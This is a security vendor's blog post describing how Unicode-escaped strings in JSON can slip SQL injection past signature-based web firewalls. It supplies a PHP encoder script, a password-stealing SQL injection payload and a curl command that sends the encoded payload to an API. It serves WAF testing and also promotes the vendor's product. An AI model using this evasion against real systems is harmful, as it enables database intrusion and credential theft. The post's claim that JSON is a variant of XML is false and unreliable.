What stealthy attacks are hiding in API data — and why do most WAF miss them?!

Wallarm
Wallarm
Published in
4 min readApr 25, 2019

API Data: What is it and how is it saying it?

APIs are the blood flow of today’s applications — from online browser-based apps to mobile apps to sophisticated distributed enterprise applications connecting dozens of individually packaged containerized microservices with APIs.

The most common objective of APIs is to communicate data. Let’s say it’s a rainy day (expect delays) and someone requests local bus schedules on their phone’s map app. Their mobile phone then sends their GPS location to the map service while cloud services send weather information to the update boards. The two most popular APIs calls, across all applications, are GET requests (request to read data) and PUT requests(request to put data).

So let’s ask a simple question: What is data? When your inlaw is ranting for 20 minutes, is that data? It is data in a way, but this type of data is called unstructured data. When APIs communicate data, structured data formats are most commonly used. Structured data means every piece of data (datum) comes with a label or a description. It’s like filling out a DMV form:

First Name: Joe
Last Name: Doe
Email: joe.doe@aol.com

There is a standardized way to structure data, apply proper labels, and specify data types, called metadata. This standard is called JavaScript Object Notation or JSON and it is in itself a variant of Extendable Markup Language or XML.

Is JSON really a safer data encoding format?
(We explore a JSON vulnerability.)

JSON — by far the most popular data encoding format for APIs — looks simple, readable and secure. But is JSON really more secure than other data encoding formats? On close inspection, JSON is a serialization format that allows users to (1) send objects as strings and then (2) it sends applications to recover objects from those strings. That makes the JSON format as dangerous as other serialization formats (XML, Ruby Marshal, PHP unserialize) in terms of application security. At Blackhat 2017, a lot of issues related to ASP.NET and Java JSON parsers were presented. (See Hewlett Packard Enterprise’s Friday the 13th JSON Attacks.)

In this article, we explore another vulnerable JSON feature: Unicode string encoding format (from json.org).

Unicode String Encoding

The Unicode string encoding format is a feature designed to encode non-ASCII characters. But Unicode can also be used to encode any characters by their HEX code. This is commonly used for encoding languages using alphabets other than Latin. Chinese Kanji and Arabic letters, for example, are encoded with Unicode — obviously, this format is not uncommon in the least.

Here is what the actual Unicode string encoding might look like:

{“a”: “AAAA”}
is equal to
{“a”:”AAA\u0041”}
and also equal to
{“a”: “\u0041\u0041\u0041\u0041”}

Because Unicode converts data from a readable plain text to HEX, which is fully interpreted by the machines but not by human readers or by simple signature-based pattern detectors, this field is a hotbed for possible hacker attacks. Hiding in plain view — and bypassing most WAF protections!

Wallarm is only able to detect that attackers use this to bypass WAFs without a proper JSON parser onboard because Wallarm’s approach does not rely on patterns or signature.

(In case you missed it: relying on patterns or signatures to detect vulnerabilities can leave you open to attack.)

Testing Unicode JSON for vulnerabilities to protect RESTful API

Some attack payloads, like the ones illustrated by the screenshot below, were detected in real life:

To test what attacks can and cannot be detected, we have created a simple script enc.php that converts human readable text into Unicode. We have provided this script below. You can use it for yourself to encode data this way and test your current API protection solution, such as WAF:

<?php
$d = $argv[1];
$x = bin2hex($d);
for($i=0; $i+1<strlen($x); $i+=2){
echo “\u00”;
echo $x[$i].$x[$i+1];
}
echo “\n”;

To illustrate, let’s use an obvious attack which tries to steal users’ passwords from the system:

‘ union select password from users — a-

If a hacker tried this attack in a plain text, even a simple open-source WAF like mod-security should be able to detect it.

Using this script provided, let’s now encode this payload.

Try to send it to your protected apps, like this:

$ php enc.php ‘“ union select password from users — a-’
\u0022\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073\u002d\u002d\u0061\u002d
$ curl -d ‘{“test”:”\u0022\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0070\u0061\u0073\u0073\u0077\u006f\u0072\u0064\u0020\u0066\u0072\u006f\u006d\u0020\u0075\u0073\u0065\u0072\u0073\u002d\u002d\u0061\u002d
”}’ -H ‘Content-Type: application/json’ -X PUT https://api.youproject.local

If you are using a signature-based WAF, this attack has most likely gone undetected.

We were able to discover this kind of attack because Wallarm implements a full JSON parser that can parse data even if it’s encoded under Unicode JSON to protect any RESTful API.

--

--

Wallarm
Wallarm

Adaptive Application Security for DevOps. @NGINX partner. @YCombibator S16